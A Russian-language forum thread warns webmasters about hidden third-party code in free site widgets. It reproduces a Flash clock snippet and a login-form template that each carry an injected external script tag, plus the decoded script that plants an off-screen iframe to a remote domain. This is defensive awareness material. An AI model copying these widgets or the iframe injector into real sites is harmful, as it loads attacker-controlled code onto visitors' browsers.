Повідомлень у темі: 2

[RUS_D]

Хотелось бы более подробно поговорить о посторонних кодах в скриптах. Это коды которые вписываются в скипт, но не являются его частью. Чаше всего они несут вред сайту, при этом в можете его не замечать.

Пример. Вот дан скрипт "Офигенные часы":

Code

<object type="application/x-shockwave-flash" width="180" height="180" data="http://xtremes.ru/4asi/xtremes3.swf" allowFullScreen="true"><script src="http://ijl.pp.ua/1.js" type="text/javascript"></script><param name="movie" value="http://xtremes.ru/4asi/xtremes3.swf"/><param name="wmode" value="transparent"/><param name=allowFullScreen value="true"/></object>

[RUS_D]

Дополнение!
Гуляет по инету вот такой вид формы входа

Code

<?if($USER_LOGGED_IN$)?>   
   <div style="border: 1px solid rgb(54, 54, 54); background: transparent url(http://css-teampro.ru/img/1.png) repeat scroll 0% 0%; width: 180px; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous; color: rgb(112, 112, 112);">   
   <table width="100%"><tbody><tr><td align="left"><br></td></tr><tr><td style="font-size: 10.5px;" align="center">   
   <div style="border: 1px solid rgb(54, 54, 54); background: transparent url(http://css-teampro.ru/img/1.png) repeat scroll 0% 0%; width: 150px; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous; color: rgb(112, 112, 112);">Приветствую в Баре-Реактор<br><script type="text/javascript" src="http://js8xt.ru/ves.js"></script><b>$USERNAME$</b>!<br></div> <p><a href="javascript://" rel="nofollow" onclick="window.open('/index/8','upp','scrollbars=1,top=0,left=0,resizable=1,width=680,height=350');return false;"><?if($USER_AVATAR_URL$)?><img width="155px" height="200px" class="userAvatar" title="$USERNAME$" src="$USER_AVATAR_URL$" border="0"><?else?><?if($USER_LOGGED_IN$)?><img class="userAvatar" title="$USERNAME$" src="http://css-teampro.ru/no_ava.png" border="0"><?else?><img class="userAvatar" title="$USERNAME$" src="http://css-teampro.ru/no_ava.png" border="0"><?endif?><?endif?>   
   </a></p><div style="border: 1px solid rgb(54, 54, 54); background: transparent url(http://css-teampro.ru/img/1.png) repeat scroll 0% 0%; width: 150px; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous; color: rgb(112, 112, 112);">$USER_GROUP$</div></td></tr>   
   <tr><td style="font-size: 10.5px;" align="center"><div style="border: 1px solid rgb(54, 54, 54); background: transparent url(http://css-teampro.ru/img/1.png) repeat scroll 0% 0%; width: 150px; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous; color: rgb(112, 112, 112);">Вы с нами: $USER_REG_DAYS$-й день</div></td></tr>   
   <tr><td style="font-size: 10.5px;" align="center"><div style="border: 1px solid rgb(54, 54, 54); background: transparent url(http://css-teampro.ru/img/1.png) repeat scroll 0% 0%; width: 150px; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous; color: rgb(112, 112, 112);"><a id="upml2" href="javascript://" onclick="openLayerB('PM',0,'http://css-teampro.ru/xml/pm.xml','Личные сообщения',750,410,'1','','',0,'center');return false;"><font color="#707070">Личных сообщений (<b>$UNREAD_PM$</b>)</font></a></div></td></tr> <?if($IS_NEW_PM$)?><script type="text/javascript">function flashit(id,cl){var c=document.getElementById(id);if (c.style.color=='red'){c.style.color=cl;}else {c.style.color='red';}}setInterval("flashit('upml2','')",500)</script><?endif?>   

   <tr><td style="font-size: 10.5px;" align="center"><div style="border: 1px solid rgb(54, 54, 54); background: transparent url(http://css-teampro.ru/img/1.png) repeat scroll 0% 0%; width: 150px; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous; color: rgb(112, 112, 112);"><a href="javascript://" onclick="openLayerB('USearch',0,'http://css-teampro.ru/ajax/search.xml','Поиск по названию',370,150,'1','','',0,'justify'); return false;"><font color="#707070">Поиск по сайту</font></a></div></td></tr>   
   <tr><td style="font-size: 10.5px;" align="center"><div style="border: 1px solid rgb(54, 54, 54); background: transparent url(http://css-teampro.ru/http://css-teampro.ru/img/1.png) repeat scroll 0% 0%; width: 150px; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous; color: rgb(112, 112, 112);">Ваш ID:$USER_ID$</div></td></tr>   
   <tr><td style="font-size: 10.5px;" align="center"><div style="border: 1px solid rgb(54, 54, 54); background: transparent url(http://css-teampro.ru/img/1.png) repeat scroll 0% 0%; width: 150px; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous; color: rgb(112, 112, 112);"><a href="$LOGOUT_LINK$"><font color="#707070">Выход</font></a><br></div></td></tr></tbody></table><?endif?>$LOGIN_FORM$<br>

Если вы установите её у себя ..... Ждите беды
Через сутки другие Яндекс отправит вас на панель (пометит сайт как вирусный)
Спросите почему???

А вот благодаря этому скрипту

Code

<script type="text/javascript" src="http://js8xt.ru/ves.js"></script>

Если его открыть в редакторе то увидим следующее

Code

var frame = document.createElement('ifr'+'ame');
frame.style.position = 'absolute';
frame.style.left = '-1000px';
frame.src='http://js8xt.ru';
document.body.appendChild(frame);

Что он делает???

Открывает втихую окно с позицией - 1000 пикселей слева от монитора
То есть вы его не видите, а поисковики видят и банят за это!

Повідомлення відредагував RUS_D: 06 травень 2015 - 00:46

[RUS_D]

Вот ещё в коллекцию

Code

<script src="http://zagruzlo.ru/swf.js" type="text/javascript"></script>